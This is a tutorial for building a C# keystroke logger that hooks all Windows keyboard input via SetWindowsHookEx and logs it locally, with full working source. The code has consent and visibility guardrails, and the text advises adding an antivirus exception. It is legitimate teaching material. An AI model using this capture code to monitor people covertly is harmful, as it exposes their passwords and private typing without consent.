Build a Keystroke Logger with C#
Use P/Invoke and Windows hooks to capture and log keystrokes in C#.
Introduction
30 Second Summary
Every time you press a key, your operating system routes that input through a chain of hook functions before it reaches the application you are typing in. Understanding how that chain works is the foundation of security tools, accessibility software, and input automation.
In this project, you will build a C# console application that hooks into the Windows keyboard input pipeline to capture and log every keystroke to a local text file. You will learn how managed C# code communicates with native Windows functions using a technique called P/Invoke.
What You'll Build
A .NET 8 console application that installs a global low-level keyboard hook, captures keystrokes across all applications, and writes each key with a timestamp to a local log file.
By the end of this project, you'll have:
- A working C# console application that captures system-wide keyboard input using the Windows low-level keyboard hook API.
- A local timestamped log file with keystroke entries produced by your application.
- Hands-on experience calling native Windows functions from managed C# code using P/Invoke.
- Modifier key detection that logs full key combinations like Ctrl+C instead of just the base key.
Are there any prerequisites?
This project requires a Windows 10 or 11 computer. No prior tools are needed. Step 1 walks you through installing everything from scratch.
Set Up Your Development Environment
Before you can hook into the Windows keyboard pipeline, you need the right tools installed and a project folder ready to go.
In this step, you will install the .NET 8 SDK, create a new C# console project, and configure it to access the Windows Forms types your keystroke logger needs.
In this step, get ready to:
- Install the .NET 8 SDK.
- Create a new C# console project.
- Configure the project to target Windows with Forms support.
Install the .NET 8 SDK
The .NET SDK is the development toolkit that lets you compile and run C# applications from the command line. You need version 8.0 because it is a Long-Term Support release with broad compatibility.
Pro tip: Visual Studio includes it
If you already have Visual Studio 2022 version 17.8 or later, the .NET 8 SDK is already installed. Run the version check below to confirm.
- Press the Windows key to open your search bar.
- Type PowerShell and press Enter to open it.
- Check whether the .NET SDK is installed by running this command:
dotnet --version
I see a version number starting with 8
Your .NET 8 SDK is ready. Move on to the next substep.
Command not found or wrong version
- Open the .NET 8 download page at dotnet.microsoft.com/en-us/download/dotnet/8.0.
- Under the SDK column, click the Windows installer link for your architecture (most likely x64).
- Run the downloaded installer and follow the prompts to completion.
- Close and reopen PowerShell, then run dotnet --version again.
You should now see a version number starting with 8.0.
Still not seeing a version number?
Make sure you downloaded the SDK, not the Runtime. The Runtime alone cannot build projects.
If you just ran the installer, you must close and reopen PowerShell for the new PATH entries to take effect.
help me troubleshoot why dotnet --version is not working after installing the .NET 8 SDK on Windows
Create the console project
The .NET CLI includes a scaffolding command that generates a ready-to-run console application with a project file and a starter Program.cs.
- Move to your Desktop by running this command:
cd ~/Desktop
- Create your project folder and move into it by running these commands:
mkdir KeystrokeLogger
cd KeystrokeLogger
- Scaffold a new console project and navigate into the project folder by running:
dotnet new console -n KeystrokeLogger
cd KeystrokeLogger
What did dotnet new console create?
- KeystrokeLogger.csproj is the project configuration file. It tells .NET which framework to target and what dependencies to include.
- Program.cs is the main code file. It currently contains a "Hello, World!" placeholder that you will replace in the next step.
- Confirm the files exist by running:
ls
You should see KeystrokeLogger.csproj and Program.cs listed in the output.
Don't see the files?
Make sure you ran cd KeystrokeLogger after the dotnet new console command. The project files are inside the inner KeystrokeLogger folder, not the outer one.
If dotnet new console gave an error, double-check that dotnet --version returns a version starting with 8.0.
help me troubleshoot why dotnet new console did not create my project files
Configure the project for Windows Forms
By default, the project targets the cross-platform net8.0 framework. Your keystroke logger needs two things that are only available on Windows: the System.Windows.Forms.Keys enum for human-readable key names, and Application.Run() for the message loop.
You will switch the target framework to net8.0-windows and enable Windows Forms support so these types become available.
- Open the KeystrokeLogger project folder in your preferred code editor (Visual Studio 2022 or VS Code).
Pro tip: open from the terminal
If you have VS Code installed, you can run code . in your terminal to open the current folder directly.
- Open KeystrokeLogger.csproj and replace its entire contents with the following:
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>net8.0-windows</TargetFramework>
<UseWindowsForms>true</UseWindowsForms>
<ImplicitUsings>enable</ImplicitUsings>
<Nullable>enable</Nullable>
</PropertyGroup>
</Project>
What does each setting do?
- OutputType set to Exe tells .NET to build a runnable console application.
- TargetFramework set to net8.0-windows switches from the cross-platform .NET runtime to the Windows-specific one. This unlocks Windows-only APIs.
- UseWindowsForms set to true adds a reference to the Windows Forms library. Without this, System.Windows.Forms.Keys and Application.Run() would not be available. You would need to define hundreds of key name constants yourself and write a manual message loop.
- Save KeystrokeLogger.csproj.
- Verify the configuration is valid by running this command in your terminal:
dotnet build
You should see Build succeeded with 0 errors in the output.
Seeing build errors?
- Check that you replaced the entire file contents, not just part of it. The opening <Project> tag and closing </Project> tag must both be present.
- Make sure TargetFramework says net8.0-windows, not net8.0. The -windows suffix is required.
- Confirm you are running dotnet build from inside the inner KeystrokeLogger folder (the one containing the .csproj file).
help me fix my dotnet build errors for the KeystrokeLogger project
Awesome, I've got everything!
Double check that you have saved KeystrokeLogger.csproj and that your build succeeded with 0 errors.
I'd like to double check the full code
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>net8.0-windows</TargetFramework>
<UseWindowsForms>true</UseWindowsForms>
<ImplicitUsings>enable</ImplicitUsings>
<Nullable>enable</Nullable>
</PropertyGroup>
</Project>
Your project is configured and building cleanly. Next up, you will write the P/Invoke declarations that bridge your C# code to the native Windows API.
Write the P/Invoke Declarations
Your project folder and .csproj configuration are ready. Now it's time to write the C# code that connects your application to the Windows keyboard system.
C# is a managed language, meaning the .NET runtime handles memory and security for you. But Windows keyboard hooks live in unmanaged territory. P/Invoke is the bridge that lets your managed C# code call functions inside native Windows DLLs like user32.dll.
In this step, get ready to:
- Define the class structure, constants, and delegate type for the keyboard callback.
- Declare the P/Invoke methods that call into user32.dll and kernel32.dll.
- Write a helper method that installs the keyboard hook.
Set up the class structure and constants
Before you can call Windows API functions, you need a class to hold everything. You also need constants that tell Windows what kind of hook you want and a delegate type that defines the shape of your callback function.
- Open Program.cs in your editor and replace its entire contents with the following code:
using System;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;
using System.Windows.Forms;
class KeystrokeLogger
{
// ============================================================
// CONSTANTS: Windows API values for the low-level keyboard hook.
// WH_KEYBOARD_LL (13) = system-wide, low-level keyboard hook.
// WM_KEYDOWN (0x0100) = message sent when a key is pressed.
// ============================================================
private const int WH_KEYBOARD_LL = 13;
private const int WM_KEYDOWN = 0x0100;
// Delegate type matching the LowLevelKeyboardProc callback signature.
// Windows calls a function with this signature for every keyboard event.
private delegate IntPtr LowLevelKeyboardProc(
int nCode, IntPtr wParam, IntPtr lParam);
// Store the delegate in a static field to prevent garbage collection.
// If GC collects the delegate while the hook is active, the app crashes.
private static LowLevelKeyboardProc _proc = HookCallback;
private static IntPtr _hookID = IntPtr.Zero;
// Log file path sits right next to the executable, fully visible.
private static string _logFilePath = Path.Combine(
AppDomain.CurrentDomain.BaseDirectory, "keylog.txt");
}
What does this code do?
- WH_KEYBOARD_LL (value 13) tells Windows you want a low-level keyboard hook that captures keystrokes globally, across all applications.
- WM_KEYDOWN (value 0x0100) is the Windows message sent when a key is pressed down. Filtering for this avoids logging duplicate key-up events.
- The LowLevelKeyboardProc delegate defines the function signature Windows expects for your callback. Think of it as a contract your callback must follow.
- _proc stores the delegate in a static field. This is critical because the garbage collector could collect a local delegate while the hook is still active, crashing the app.
- _logFilePath places the log file right next to your executable so it is easy to find.
- Save Program.cs.
Your editor will show an error on HookCallback because that method doesn't exist yet. That's expected. You'll write it in the next step.
Seeing errors on the using statements?
- Make sure your KeystrokeLogger.csproj targets net8.0-windows and has <UseWindowsForms>true</UseWindowsForms>. Without these, the System.Windows.Forms namespace won't be available.
- Confirm you replaced the entire file contents, including the using statements at the top.
Help me debug errors in my Program.cs using statements.
Add the P/Invoke declarations
P/Invoke declarations are how you tell .NET about functions that live inside unmanaged DLLs. Each declaration maps a C# method signature to a real function in a Windows system library.
- In Program.cs, add the following code inside the KeystrokeLogger class, just before the closing }:
// ================================================================
// P/INVOKE DECLARATIONS
// These bridge managed C# to native Windows API functions.
// ================================================================
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook,
LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool UnhookWindowsHookEx(IntPtr hhk);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
IntPtr wParam, IntPtr lParam);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName);
What does each declaration do?
- SetWindowsHookEx installs a hook procedure into the Windows hook chain. You pass it the hook type (WH_KEYBOARD_LL), your callback function, your module handle, and 0 for the thread ID (meaning all threads on the desktop).
- UnhookWindowsHookEx removes a previously installed hook from the chain. You call this during shutdown to clean up properly.
- CallNextHookEx passes the hook event to the next procedure in the chain. You must always call this, or other applications will stop receiving keyboard input.
- GetModuleHandle gets a handle to a loaded DLL or EXE. You use this to tell SetWindowsHookEx which module contains your callback function.
The [DllImport] attribute on each method tells .NET which DLL to load the function from. Three come from user32.dll (the Windows user interface library) and one comes from kernel32.dll (the Windows kernel library).
- Save Program.cs.
You won't see a change yet. These declarations just make the Windows functions available to your C# code. The next substep uses them.
Red squiggles under the DllImport lines?
- Check that using System.Runtime.InteropServices; is at the top of your file. This namespace provides DllImport and MarshalAs.
- Make sure the P/Invoke declarations are inside the KeystrokeLogger class braces, not outside them.
Help me fix errors in my P/Invoke declarations.
What is P/Invoke?
P/Invoke stands for Platform Invocation Services. It is the mechanism .NET provides for managed C# code to call unmanaged functions in native DLLs.
When you write [DllImport("user32.dll")], the .NET runtime loads that DLL, finds the function by name, and handles the conversion between managed C# types and unmanaged C types automatically. This conversion process is called marshalling.
Add the SetHook helper method
The P/Invoke declarations give you access to raw Windows functions. Now you need a helper method that wraps the SetWindowsHookEx call with the correct parameters for your application.
- In Program.cs, add the following method inside the KeystrokeLogger class, above the P/Invoke declarations section:
/// <summary>
/// Installs the low-level keyboard hook by calling SetWindowsHookEx.
/// </summary>
private static IntPtr SetHook(LowLevelKeyboardProc proc)
{
using (Process curProcess = Process.GetCurrentProcess())
using (ProcessModule curModule = curProcess.MainModule!)
{
return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
GetModuleHandle(curModule.ModuleName!), 0);
}
}
What does this method do?
- Process.GetCurrentProcess().MainModule gets a handle to your own EXE. Windows needs this handle to know where your callback function lives in memory.
- GetModuleHandle(curModule.ModuleName!) converts that module name into a module handle that SetWindowsHookEx can use.
- The last parameter 0 means "monitor all threads on this desktop." This makes it a global hook that captures keystrokes from every application.
- The using statements ensure the process and module objects are disposed of properly after the hook is installed.
- Save Program.cs.
The file still won't compile because HookCallback and Main don't exist yet. You'll add both in the next step.
Seeing an error on MainModule?
- Make sure you include the ! after MainModule and ModuleName. This is the null-forgiving operator. It tells the compiler you know these values won't be null at runtime.
- Check that using System.Diagnostics; is at the top of your file. The Process class lives in this namespace.
Help me fix the SetHook method in my keystroke logger.
Awesome, I've got everything!
Great. Double check you've saved Program.cs before moving on.
I'd like to double check the full code
Here is the complete Program.cs as it should look after this step. Remember, it won't compile yet because HookCallback and Main are coming in the next step.
using System;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;
using System.Windows.Forms;
class KeystrokeLogger
{
// ============================================================
// CONSTANTS: Windows API values for the low-level keyboard hook.
// WH_KEYBOARD_LL (13) = system-wide, low-level keyboard hook.
// WM_KEYDOWN (0x0100) = message sent when a key is pressed.
// ============================================================
private const int WH_KEYBOARD_LL = 13;
private const int WM_KEYDOWN = 0x0100;
// Delegate type matching the LowLevelKeyboardProc callback signature.
// Windows calls a function with this signature for every keyboard event.
private delegate IntPtr LowLevelKeyboardProc(
int nCode, IntPtr wParam, IntPtr lParam);
// Store the delegate in a static field to prevent garbage collection.
// If GC collects the delegate while the hook is active, the app crashes.
private static LowLevelKeyboardProc _proc = HookCallback;
private static IntPtr _hookID = IntPtr.Zero;
// Log file path sits right next to the executable, fully visible.
private static string _logFilePath = Path.Combine(
AppDomain.CurrentDomain.BaseDirectory, "keylog.txt");
/// <summary>
/// Installs the low-level keyboard hook by calling SetWindowsHookEx.
/// </summary>
private static IntPtr SetHook(LowLevelKeyboardProc proc)
{
using (Process curProcess = Process.GetCurrentProcess())
using (ProcessModule curModule = curProcess.MainModule!)
{
return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
GetModuleHandle(curModule.ModuleName!), 0);
}
}
// ================================================================
// P/INVOKE DECLARATIONS
// These bridge managed C# to native Windows API functions.
// ================================================================
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook,
LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool UnhookWindowsHookEx(IntPtr hhk);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
IntPtr wParam, IntPtr lParam);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName);
}
Your bridge to the Windows API is in place. Next up, you'll write the callback function that Windows invokes for every keystroke and the Main method that ties everything together.
Build the Keyboard Callback and Logging
Your P/Invoke declarations and helper method are wired up. Your C# code now knows how to call into the native Windows API. The bridge is built, but nothing crosses it yet.
In this step, you will write the two methods that bring everything to life. The first is the callback function that Windows invokes every time a key is pressed anywhere on the system. The second is the Main method that installs the hook, runs the message loop, and handles clean shutdown.
In this step, get ready to:
- Write the keyboard callback that processes every keystroke and logs it to a file.
- Write the Main method with ethical guardrails, consent prompt, and the Windows message loop.
Write the HookCallback method
When you installed the hook in Step 2 with SetWindowsHookEx, you passed in the _proc delegate that points to a method called HookCallback. Now you need to write that method. Windows will call it for every keyboard event on the entire desktop.
- In Program.cs, add the following HookCallback method inside the KeystrokeLogger class, after the SetHook method:
/// <summary>
/// Callback invoked by Windows for every keyboard event on the desktop.
/// </summary>
private static IntPtr HookCallback(
int nCode, IntPtr wParam, IntPtr lParam)
{
if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
{
// Read the virtual key code from the KBDLLHOOKSTRUCT.
int vkCode = Marshal.ReadInt32(lParam);
Keys key = (Keys)vkCode;
// ETHICAL GUARDRAIL: Escape exits the program immediately.
if (key == Keys.Escape)
{
Application.Exit();
return CallNextHookEx(_hookID, nCode, wParam, lParam);
}
string logEntry = $"[{DateTime.Now:HH:mm:ss}] {key}\n";
// Print to console so the user sees what is being logged.
Console.Write(logEntry);
// Append to the log file.
File.AppendAllText(_logFilePath, logEntry);
}
// Always pass the event to the next hook in the chain.
return CallNextHookEx(_hookID, nCode, wParam, lParam);
}
What does this code do?
- nCode >= 0 checks that the event data is valid. If it is negative, Windows is telling you to skip processing and just pass the event along.
- wParam == (IntPtr)WM_KEYDOWN filters for key-press events only. Without this filter, you would log duplicate entries for key-up events too.
- Marshal.ReadInt32(lParam) reads 4 bytes from the unmanaged memory at lParam. This pointer points to a KBDLLHOOKSTRUCT, and the first field is the virtual key code.
- Keys key = (Keys)vkCode casts the raw integer to the System.Windows.Forms.Keys enum, which gives you human-readable names like A instead of 65.
- CallNextHookEx at the bottom is critical. You must always call this to pass the event to the next hook in the chain. If you skip it, other applications stop receiving keyboard input entirely.
- Save Program.cs.
You will not see a change yet. The next substep adds the Main method that actually installs the hook and starts the message loop.
Write the Main method with ethical guardrails
The Main method is where all the ethical design decisions come together. It displays a consent banner, waits for the user to opt in, installs the hook, runs the Windows message loop, and handles clean shutdown.
Why does a keyboard hook need a message loop?
A low-level keyboard hook runs in the context of the thread that installed it. That thread must have a Windows message loop so the operating system can deliver keyboard events to your callback. Without a message loop, your hook is installed but never receives any events.
Application.Run() from Windows Forms provides a ready-made message loop. The alternative is manually calling GetMessage, TranslateMessage, and DispatchMessage via P/Invoke. Application.Run() handles all of that in one line.
- In Program.cs, add the following Main method inside the KeystrokeLogger class, right after the _logFilePath field and before the SetHook method:
public static void Main()
{
// ============================================================
// ETHICAL GUARDRAIL #1: Visible console window with clear title.
// The program announces itself in the taskbar for anyone to see.
// ============================================================
Console.Title = "Keystroke Logger - EDUCATIONAL USE ONLY";
Console.WriteLine("========================================");
Console.WriteLine(" KEYSTROKE LOGGER - LEARNING PROJECT ");
Console.WriteLine("========================================");
Console.WriteLine();
Console.WriteLine("This program captures keyboard input and");
Console.WriteLine("logs it to a local text file.");
Console.WriteLine();
Console.WriteLine("PURPOSE: Educational use only. Learn C#,");
Console.WriteLine("P/Invoke, and Windows hooks.");
Console.WriteLine();
Console.WriteLine($"Log file: {_logFilePath}");
Console.WriteLine();
// ============================================================
// ETHICAL GUARDRAIL #2: Explicit consent before activation.
// The hook is NOT installed until the user presses Enter.
// ============================================================
Console.WriteLine("Press ENTER to start logging...");
Console.WriteLine("Press ESCAPE at any time to stop.");
Console.WriteLine();
ConsoleKeyInfo startKey = Console.ReadKey(true);
if (startKey.Key != ConsoleKey.Enter)
{
Console.WriteLine("Aborted. No hook was installed.");
return;
}
// ============================================================
// ETHICAL GUARDRAIL #3: Log file header with clear timestamp.
// ============================================================
File.AppendAllText(_logFilePath,
$"\n--- Logging started at {DateTime.Now:yyyy-MM-dd HH:mm:ss} ---\n");
// Install the keyboard hook.
_hookID = SetHook(_proc);
Console.WriteLine("Hook installed. Logging keystrokes...");
Console.WriteLine("Press ESCAPE to stop.\n");
// ============================================================
// ETHICAL GUARDRAIL #4: Application.Run() keeps the console
// window visible. No hidden processes or background services.
// ============================================================
Application.Run();
// ============================================================
// ETHICAL GUARDRAIL #5: Clean shutdown. No auto-restart,
// no registry entries, no persistence. Once closed, it is gone.
// ============================================================
UnhookWindowsHookEx(_hookID);
File.AppendAllText(_logFilePath,
$"--- Logging stopped at {DateTime.Now:yyyy-MM-dd HH:mm:ss} ---\n");
Console.WriteLine("\nHook removed. Logging stopped.");
Console.WriteLine($"Log saved to: {_logFilePath}");
}
What does this code do?
The Main method has five ethical guardrails, each marked with a comment block:
- Guardrail #1 sets the console window title to make the program visible in the taskbar. Anyone glancing at the screen can see it running.
- Guardrail #2 requires the user to press Enter before the hook is installed. Pressing any other key aborts the program without ever touching the keyboard hook system.
- Guardrail #3 writes a timestamped header to the log file so anyone reviewing it can see exactly when logging started.
- Guardrail #4 uses Application.Run() to start the message loop. This keeps the console window open and visible. There are no hidden background processes.
- Guardrail #5 calls UnhookWindowsHookEx to remove the hook immediately on exit. No auto-restart, no registry entries, no persistence. Once you close it, it is completely gone.
- Save Program.cs.
You will not see runtime output yet. You will build and run the full application in the next step.
Seeing red squiggles in your editor?
- If your editor shows an error on Keys or Application, make sure your KeystrokeLogger.csproj file targets net8.0-windows and has <UseWindowsForms>true</UseWindowsForms>. These types come from Windows Forms.
- If you see errors on SetWindowsHookEx or CallNextHookEx, check that your P/Invoke declarations from Step 2 are inside the KeystrokeLogger class. They must be part of the same class that contains HookCallback.
- Make sure using System.Runtime.InteropServices; and using System.Windows.Forms; are at the top of Program.cs.
Still stuck? Ask for help.
Awesome, I've got everything!
Double check you have saved Program.cs. Your file should now contain the full class with imports, constants, fields, Main, SetHook, HookCallback, and all four P/Invoke declarations.
I'd like to double check the full code
Here is the complete Program.cs file as it should look after Steps 2 and 3.
using System;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;
using System.Windows.Forms;
class KeystrokeLogger
{
// ============================================================
// CONSTANTS: Windows API values for the low-level keyboard hook.
// WH_KEYBOARD_LL (13) = system-wide, low-level keyboard hook.
// WM_KEYDOWN (0x0100) = message sent when a key is pressed.
// ============================================================
private const int WH_KEYBOARD_LL = 13;
private const int WM_KEYDOWN = 0x0100;
// Delegate type matching the LowLevelKeyboardProc callback signature.
// Windows calls a function with this signature for every keyboard event.
private delegate IntPtr LowLevelKeyboardProc(
int nCode, IntPtr wParam, IntPtr lParam);
// Store the delegate in a static field to prevent garbage collection.
// If GC collects the delegate while the hook is active, the app crashes.
private static LowLevelKeyboardProc _proc = HookCallback;
private static IntPtr _hookID = IntPtr.Zero;
// Log file path sits right next to the executable, fully visible.
private static string _logFilePath = Path.Combine(
AppDomain.CurrentDomain.BaseDirectory, "keylog.txt");
public static void Main()
{
// ============================================================
// ETHICAL GUARDRAIL #1: Visible console window with clear title.
// The program announces itself in the taskbar for anyone to see.
// ============================================================
Console.Title = "Keystroke Logger - EDUCATIONAL USE ONLY";
Console.WriteLine("========================================");
Console.WriteLine(" KEYSTROKE LOGGER - LEARNING PROJECT ");
Console.WriteLine("========================================");
Console.WriteLine();
Console.WriteLine("This program captures keyboard input and");
Console.WriteLine("logs it to a local text file.");
Console.WriteLine();
Console.WriteLine("PURPOSE: Educational use only. Learn C#,");
Console.WriteLine("P/Invoke, and Windows hooks.");
Console.WriteLine();
Console.WriteLine($"Log file: {_logFilePath}");
Console.WriteLine();
// ============================================================
// ETHICAL GUARDRAIL #2: Explicit consent before activation.
// The hook is NOT installed until the user presses Enter.
// ============================================================
Console.WriteLine("Press ENTER to start logging...");
Console.WriteLine("Press ESCAPE at any time to stop.");
Console.WriteLine();
ConsoleKeyInfo startKey = Console.ReadKey(true);
if (startKey.Key != ConsoleKey.Enter)
{
Console.WriteLine("Aborted. No hook was installed.");
return;
}
// ============================================================
// ETHICAL GUARDRAIL #3: Log file header with clear timestamp.
// ============================================================
File.AppendAllText(_logFilePath,
$"\n--- Logging started at {DateTime.Now:yyyy-MM-dd HH:mm:ss} ---\n");
// Install the keyboard hook.
_hookID = SetHook(_proc);
Console.WriteLine("Hook installed. Logging keystrokes...");
Console.WriteLine("Press ESCAPE to stop.\n");
// ============================================================
// ETHICAL GUARDRAIL #4: Application.Run() keeps the console
// window visible. No hidden processes or background services.
// ============================================================
Application.Run();
// ============================================================
// ETHICAL GUARDRAIL #5: Clean shutdown. No auto-restart,
// no registry entries, no persistence. Once closed, it is gone.
// ============================================================
UnhookWindowsHookEx(_hookID);
File.AppendAllText(_logFilePath,
$"--- Logging stopped at {DateTime.Now:yyyy-MM-dd HH:mm:ss} ---\n");
Console.WriteLine("\nHook removed. Logging stopped.");
Console.WriteLine($"Log saved to: {_logFilePath}");
}
/// <summary>
/// Installs the low-level keyboard hook by calling SetWindowsHookEx.
/// </summary>
private static IntPtr SetHook(LowLevelKeyboardProc proc)
{
using (Process curProcess = Process.GetCurrentProcess())
using (ProcessModule curModule = curProcess.MainModule!)
{
return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
GetModuleHandle(curModule.ModuleName!), 0);
}
}
/// <summary>
/// Callback invoked by Windows for every keyboard event on the desktop.
/// </summary>
private static IntPtr HookCallback(
int nCode, IntPtr wParam, IntPtr lParam)
{
if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
{
// Read the virtual key code from the KBDLLHOOKSTRUCT.
int vkCode = Marshal.ReadInt32(lParam);
Keys key = (Keys)vkCode;
// ETHICAL GUARDRAIL: Escape exits the program immediately.
if (key == Keys.Escape)
{
Application.Exit();
return CallNextHookEx(_hookID, nCode, wParam, lParam);
}
string logEntry = $"[{DateTime.Now:HH:mm:ss}] {key}\n";
// Print to console so the user sees what is being logged.
Console.Write(logEntry);
// Append to the log file.
File.AppendAllText(_logFilePath, logEntry);
}
// Always pass the event to the next hook in the chain.
return CallNextHookEx(_hookID, nCode, wParam, lParam);
}
// ================================================================
// P/INVOKE DECLARATIONS
// These bridge managed C# to native Windows API functions.
// ================================================================
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook,
LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool UnhookWindowsHookEx(IntPtr hhk);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
IntPtr wParam, IntPtr lParam);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName);
}
Your code is complete. Every piece is in place: the P/Invoke bridge, the keyboard callback, and the Main method with all five ethical guardrails. Next up, you will build and run the application to see your keystroke logger in action.
Build, Run, and Test Your Logger
Your callback, main method, and P/Invoke declarations are all in place. You have everything the application needs to hook into the Windows keyboard pipeline, capture keystrokes, and write them to a local file.
Now it is time to compile the project, run it, and verify that your logger actually captures keystrokes from other applications.
In this step, get ready to:
- Build the project and resolve any compilation errors.
- Run the logger and capture keystrokes from another application.
- Stop the logger and review the timestamped log file.
Build the project
Antivirus software may flag your application
Windows Defender or other antivirus software may quarantine or block the application during the build or run step. This is expected behavior. Security software detects the use of SetWindowsHookEx because it is commonly used by malware.
If this happens, add an exception for your KeystrokeLogger project folder in your antivirus settings. This is one reason legitimate keystroke monitoring tools require explicit user consent and transparent design.
- Make sure your terminal is open in the KeystrokeLogger folder that contains Program.cs and KeystrokeLogger.csproj.
- Compile your project by running this command:
dotnet build
- You should see Build succeeded with 0 errors in the terminal output.
- If you see warnings about nullable references, those are safe to ignore.
Seeing build errors?
- If you see errors about missing types like Keys or Application, open KeystrokeLogger.csproj and confirm that <TargetFramework> is set to net8.0-windows and <UseWindowsForms> is set to true.
- If you see errors about missing using statements, check that the top of Program.cs includes all five using directives from Step 2.
- Check for mismatched curly braces. Every opening { needs a closing }.
- Help me fix build errors in my KeystrokeLogger project
Run the application
- Start the application by running this command:
dotnet run
The consent banner appears in your console window. It displays the program title, purpose, and the path where keystrokes will be logged.
- Press Enter to start logging.
- Switch to another application, like Notepad or your browser.
- Type a few words in that other application.
- Switch back to your console window.
You should see each keystroke printed with a timestamp, like [18:30:05] H. Every key you pressed in the other application appears in real time.
No keystrokes appearing?
- Make sure you pressed Enter (not any other key) at the consent prompt. Pressing a different key aborts the program without installing the hook.
- If the console window closed immediately, check for runtime errors by reviewing your Main method for typos or mismatched braces.
- Your antivirus may have silently blocked the application from running. Check your antivirus notifications and add an exception for the KeystrokeLogger project folder if needed.
- Help me debug why my keystroke logger is not capturing any keys
Stop and review the log
Now that you have confirmed keystrokes are being captured, it is time to stop the logger and inspect the output file it produced.
- Click on the console window to make sure it is focused.
- Press Escape to stop the logger.
The program removes the hook, writes a "Logging stopped" timestamp to the file, and prints the full path to your log file.
- Open keylog.txt in your text editor. The file is in your project's bin\Debug\net8.0-windows\ folder.
You should see timestamped entries for every key you pressed, along with start and stop markers:
--- Logging started at 2026-04-25 18:30:00 ---
[18:30:05] H
[18:30:05] E
[18:30:05] L
[18:30:05] L
[18:30:06] O
--- Logging stopped at 2026-04-25 18:30:10 ---
What do these log entries mean?
- The --- Logging started --- and --- Logging stopped --- lines are written by the Main method when the hook is installed and removed.
- Each [HH:mm:ss] Key line is written by HookCallback every time Windows fires a WM_KEYDOWN message.
- The key names like H, E, O come from the System.Windows.Forms.Keys enum, which converts raw virtual key codes into readable names.
Log file is empty or missing?
- Make sure you look in the bin\Debug\net8.0-windows\ folder inside your KeystrokeLogger project folder. The path is printed in the console when the program starts and stops.
- If the file exists but is empty, confirm you pressed Enter at the consent prompt and typed in another application before pressing Escape.
- Help me find or fix my keylog.txt output file
Secret mission
Detect Modifier Keys
Your logger captures individual keys, but real keyboard input involves combinations like Ctrl+C and Shift+A. Can you upgrade your logger to detect and display modifier keys alongside each keystroke?
Before you go
Clean Up Your Resources
Decide whether to keep your resources running, pause them to come back later, or delete them entirely. This project runs entirely locally, so there are no ongoing costs.
Resources you used:
- .NET 8 SDK installed on your machine.
- KeystrokeLogger project folder with source code and build output.
- keylog.txt log file containing captured keystroke data.
Keep everything running
No action needed. Choose this if you're still actively building or want to extend the project with the Secret Mission.
- Your project files and build output stay in the KeystrokeLogger folder.
- The keylog.txt file remains in bin\Debug\net8.0-windows\. Be aware this file contains your captured keystrokes.
- The .NET 8 SDK remains installed and available for other projects.
Pause - I'll come back to this later
The keystroke logger only runs when you explicitly start it, so there are no background processes to stop. Focus on cleaning up the sensitive log data.
- If the logger is still running in a console window, press Escape to stop it cleanly.
- Delete the keylog.txt file in bin\Debug\net8.0-windows\. This file contains your captured keystrokes and could include sensitive information like passwords.
- Keep your project folder and source code. You can rebuild and run it anytime.
Delete - I don't want to use this again
Remove all project resources and start fresh. Follow these steps to delete everything.
- If the logger is still running, press Escape to stop it.
- Delete the entire KeystrokeLogger project folder. This removes the source code, build output, and the keylog.txt log file.
- If you added an antivirus exception for this project, remove that exception now.
- Optionally uninstall the .NET 8 SDK if you do not plan to use it for other projects. Open Settings, select Apps, find Microsoft .NET SDK 8.0, and click Uninstall.
Mission accomplished
That's a Wrap!
Nice work! You just built a fully functional keystroke logger from scratch using C# and the Windows API. This is real systems programming, bridging managed code to native OS functionality through P/Invoke.
You've learned how to:
- Declare P/Invoke bridges to native Windows DLLs (user32.dll and kernel32.dll) and call functions like SetWindowsHookEx from managed C# code.
- Write a LowLevelKeyboardProc callback that processes WM_KEYDOWN messages, extracts virtual key codes, and logs timestamped keystrokes to a local file.
- Design software with ethical guardrails at every layer: a visible console window, explicit consent before activation, real-time display, an Escape key exit, and no persistence mechanisms.
- Add modifier key detection using GetAsyncKeyState to log full key combinations like Ctrl+C and Shift+A.
Ready to quiz yourself?